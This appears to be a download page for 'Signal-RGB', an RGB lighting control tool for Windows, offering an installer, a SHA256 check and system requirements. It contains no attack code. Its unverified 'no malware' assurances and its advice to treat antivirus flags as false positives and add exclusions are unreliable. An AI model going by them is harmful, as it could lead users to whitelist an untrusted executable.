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Signal-RGB

Get the latest build for Windows — unified RGB control for every device in your battlestation. Verify integrity with SHA256 before you install.

v2.5.54 Windows 64-bit SHA256 Verified

Download Windows 64-bit Verify SHA256

Latest release

Stable · 2.5.54

Version 2.5.54 / 2.5.54.0

Platform Windows 64-bit

License Freeware

File type EXE installer

File size ~282 MB

Release date Mar 27, 2026 · pkg May 8, 2026

Download Windows 64-bit Mirror download

Official Windows installers are distributed from signalrgb.dev. Select a download option above when available.

Integrity

Source transparency & SHA256

Always verify the installer hash after download and before execution. Comparing SHA256 checksums confirms your file was not altered in transit.

Signal-RGB@verify ~ integrity-check

# Published SHA256 — version 2.5.54

PS C:\Downloads> Get-FileHash .\Signal-RGB-Setup.exe -Algorithm SHA256

043c818adf761c34e43d5dc562d3a96068be74bf06fff8e937ac38be44928b71

1. Open PowerShell in the folder containing the installer.
2. Run: Get-FileHash .\Signal-RGB-Setup.exe -Algorithm SHA256
3. Compare the output hash to the value above character by character.

Digital signature details may vary by distribution channel. When signatures are available, prefer signed builds from your official mirror.

Security note

Antivirus false-positive clarification

RGB control software requires low-level access to motherboards, USB devices, and lighting controllers. Heuristic engines sometimes flag legitimate hardware tools as suspicious even when no malware is present.

Verify SHA256 before running the installer
Download only from official signalrgb.dev distribution pages
Add an exclusion only after you trust the file hash
Do not disable security suite protection globally

Step-by-step antivirus guide →

Trust

Security & integrity

Verified clean

No bundled malware

Signal-RGB is distributed as lighting and monitoring software. It does not include cryptocurrency miners, keyloggers, or remote access trojans.

Privacy

Privacy-conscious defaults

Guest mode avoids mandatory registration. Accounts are optional for extended community content.

v2.5.54

Recent fixes

Screen Ambience vertical monitor crash resolved. Automatic SMBus dumping improves new hardware support.

Older builds

Archive versions 2.5.50, 2.5.45, 2.5.41, 2.5.40, 2.5.28, and 2.5.25 remain available when listed.

Hardware access

Low-level SMBus and USB communication enables responsive RGB control with minimal overhead.

Legal usage & ethics policy →

Compatibility

System requirements

Windows 10 or Windows 11 (64-bit recommended)

Compatible RGB peripherals or internal lighting hardware

Approximately 300 MB free disk space for installer and cache

Internet connection recommended for account features and effect updates

Still Need Help?

Browse setup guides, FAQ answers, or explore the community gallery.

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